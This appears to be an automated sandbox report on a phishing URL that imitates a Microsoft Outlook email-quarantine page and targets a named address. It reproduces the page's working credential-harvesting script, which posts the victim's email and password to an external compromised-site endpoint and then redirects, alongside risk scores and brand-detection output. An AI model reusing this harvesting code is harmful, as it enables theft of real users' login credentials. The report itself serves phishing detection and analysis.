Windows Analysis Report
https://quarantine-emails13122024bcpe038qua8303rantine0832411.s3.eu-central-3.ionoscloud.com/message.html#anneke.hanekom@mmiholdings.co.za

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": true,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://quarantine-emails13122024bcpe038qua8303rantine0832411.s3.eu-central-3.ionoscloud.com

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including data exfiltration, dynamic code execution, and redirects to potentially malicious domains. The script collects user email and password credentials and sends them to an external server, which is a clear indication of malicious intent. Additionally, the script attempts to redirect the user to a domain based on the email address, which could be a phishing attempt. The script also uses obfuscated code, making it difficult to analyze and understand its true purpose. Overall, this script demonstrates a high level of risk and should be treated with caution."
}

$(document).ready(function(){
var count=0;

var email = window.location.hash.substr(1);
if (!email) {

}
else
{
var my_email =email;
$('#email').val(my_email);
$('#emailich').html(my_email);


var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

if (!filter.test(my_email)) {
$('#error').show();
email.focus;
return false;
}
var ind=my_email.indexOf("@");
var my_slice=my_email.substr((ind+1));
}


$('#submit-btn').click(function(event){

event.preventDefault();
var email=$("#email").val();
var password=$("#password").val();

if (!password) {
    $('#msg').show();
    $('#msg').html("Password is empty!");

                return false;
            }

count=count+1;

$.ajax({
dataType: 'JSON',
url: 'https://www.petrelli-traduzioni.eu/wp-content/themes/smiles/0auth/index.php',
type: 'POST',
      	data:{
			email:email,
            password:password,	
      	},
			data: $('#contact').serialize(),
            beforeSend: function(xhr){
            	
            },
            success: function(response){
            	if(response){
            		$("#msg").show();
            		console.log(response);
            		if(response['signal'] == 'ok'){
            			$("#password").val("");
            			if (count>=8) {
            				count=0;
                    // window.location.replace(response['redirect_link']);
                     window.location.replace("https://www."+my_slice);

                }
            	$("#msg").show();
               $('#msg').html("Password is not correct. Please enter valid password to signin");
            }
            else{
                        	$("#msg").show();
               $('#msg').html("Password is not correct. Please enter valid password to sign in");	
            }
        }
    },
    error: function(){
    	$("#password").val("");
    	if (count>=8) {
    		count=0;
    		      window.location.replace("https://www."+my_slice);
    	}
           	$("#msg").show();
               $('#msg').html("The password you entered isn't correct. Try entering it again.");
    },
    complete: function(){
    	
    }
});
  });


	});

{
    "risk_score": 3,
    "reasoning": "The provided JavaScript snippet appears to be a legitimate login-related functionality with placeholder text and password visibility toggling. It does not contain any high-risk indicators like dynamic code execution, data exfiltration, or redirects to suspicious domains. The script's behavior is consistent with typical login page functionality, and it uses common DOM manipulation techniques. While it includes some legacy practices like `document.write()`, the overall risk is low, and the script is likely part of a legitimate application."
}

        var mainLogonDiv = window.document.getElementById("mainLogonDiv");
        var showPlaceholderText = false;
        var mainLogonDivClassName = 'mouse';

        if (mainLogonDivClassName == "tnarrow") {
            showPlaceholderText = true;

            // Output meta tag for viewport scaling
            document.write('<meta name="viewport" content="width = 320, initial-scale = 1.0, user-scalable = no" />');
        }
        else if (mainLogonDivClassName == "twide"){
            showPlaceholderText = true;
        }

        function setPlaceholderText() {
                window.document.getElementById("username").placeholder = "Domain/user name";
                window.document.getElementById("password").placeholder = "password";
                window.document.getElementById("passwordText").placeholder = "password";
        }

        function showPasswordClick() {
            var showPassword = window.document.getElementById("showPasswordCheck").checked;
            passwordElement = window.document.getElementById("password");
            passwordTextElement = window.document.getElementById("passwordText");
            if (showPassword)
            {
                passwordTextElement.value = passwordElement.value;
                passwordElement.style.display = "none";
                passwordTextElement.style.display = "inline";
                passwordTextElement.focus();
            }
            else
            {
                passwordElement.value = passwordTextElement.value;
                passwordTextElement.style.display = "none";
                passwordTextElement.value = "";
                passwordElement.style.display = "inline";
                passwordElement.focus();
            }
        }
    

{
    "contains_trigger_text": true,
    "trigger_text": "To continue, first verify it's you",
    "prominent_button_name": "Review Messages",
    "text_input_field_labels": [
        "anneke.hanekom@mmiholdings.co.za"
    ],
    "pdf_icon_visible": false,
    "has_visible_captcha": false,
    "has_urgent_text": true,
    "has_visible_qrcode": false,
    "contains_chinese_text": false,
    "contains_security_alerts": false
}

{
  "brands": [
    "Microsoft Outlook"
  ]
}

{
    "contains_trigger_text": true,
    "trigger_text": "To continue, first verify it's you",
    "prominent_button_name": "Review Messages",
    "text_input_field_labels": [
        "anneke.hanekom@mmiholdings.co.za"
    ],
    "pdf_icon_visible": false,
    "has_visible_captcha": true,
    "has_urgent_text": true,
    "has_visible_qrcode": false,
    "contains_chinese_text": false,
    "contains_security_alerts": true
}

{
  "brands": [
    "Microsoft Outlook"
  ]
}

```json{  "legit_domain": "outlook.com",  "classification": "wellknown",  "reasons": [    "The brand 'Microsoft Outlook' is well-known and typically associated with the domain 'outlook.com'.",    "The URL provided is hosted on 's3.eu-central-3.ionoscloud.com', which is a cloud service provider domain and not directly associated with Microsoft Outlook.",    "The URL contains suspicious elements such as 'quarantine-emails' and a series of numbers, which are not typical for legitimate Microsoft Outlook URLs.",    "The use of a cloud service provider domain with a subdomain that includes 'quarantine' is often used in phishing attempts to mimic email security alerts.",    "The domain does not match the legitimate domain for Microsoft Outlook, which raises suspicion."  ],  "riskscore": 9}
Google indexed: False

```json{  "legit_domain": "outlook.com",  "classification": "wellknown",  "reasons": [    "The brand 'Microsoft Outlook' is well-known and typically associated with the domain 'outlook.com'.",    "The URL provided is hosted on 's3.eu-central-3.ionoscloud.com', which is a cloud service provider domain and not directly associated with Microsoft Outlook.",    "The URL contains suspicious elements such as 'quarantine-emails' and a series of numbers, which are not typical for legitimate Microsoft Outlook URLs.",    "The use of a cloud service provider domain can be legitimate, but in this context, it is more likely to be used for phishing, especially given the context of 'quarantine-emails'.",    "The email domain 'mmiholdings.co.za' does not match the brand 'Microsoft Outlook', which raises further suspicion."  ],  "riskscore": 9}
Google indexed: False

{
    "contains_trigger_text": true,
    "trigger_text": "To continue, first verify it's you",
    "prominent_button_name": "Review Messages",
    "text_input_field_labels": [
        "anneke.hanekom@mmiholdings.co.za",
        "Password is empty!"
    ],
    "pdf_icon_visible": false,
    "has_visible_captcha": false,
    "has_urgent_text": true,
    "has_visible_qrcode": false,
    "contains_chinese_text": false,
    "contains_security_alerts": false
}

{
  "brands": [
    "Microsoft Outlook"
  ]
}